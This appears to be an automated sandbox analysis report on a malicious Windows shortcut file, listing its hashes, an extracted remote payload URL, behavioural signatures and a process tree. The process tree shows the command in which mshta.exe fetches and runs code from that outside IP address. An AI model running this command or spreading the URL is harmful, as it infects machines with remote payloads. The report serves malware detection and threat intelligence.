Analysis
-
max time kernel
66s -
max time network
56s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
30-04-2024 13:47
Static task
static1
Behavioral task
behavioral1
Sample
4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4.lnk
Resource
win10v2004-20240419-en
General
-
Target
4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4.lnk
-
Size
1KB
-
MD5
c5140207d2276f64b3a8f4ccd3487723
-
SHA1
4d688086cd47a23444b2329fbd83a3740c40d0ca
-
SHA256
4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4
-
SHA512
ac0a2830b6f4bc36901252f1c0dc575f07a24c3194dec822964f59f6f7291e64e23522a8c956afd24de68122b782aa283ce97ef2e4720587feb2bd67a443c210
Malware Config
Extracted
http://194.180.191.34/pr/relationship.tmp
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 2 3496 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4664 wrote to memory of 3496 4664 cmd.exe 84 PID 4664 wrote to memory of 3496 4664 cmd.exe 84
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\4102d9b119dd8eb1f4e74ccea7c23fa7fc84d44cb8079abdabbe51629ea25ec4.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4664 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" http://194.180.191.34/pr/relationship.tmp /f2⤵
- Blocklisted process makes network request
PID:3496
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4572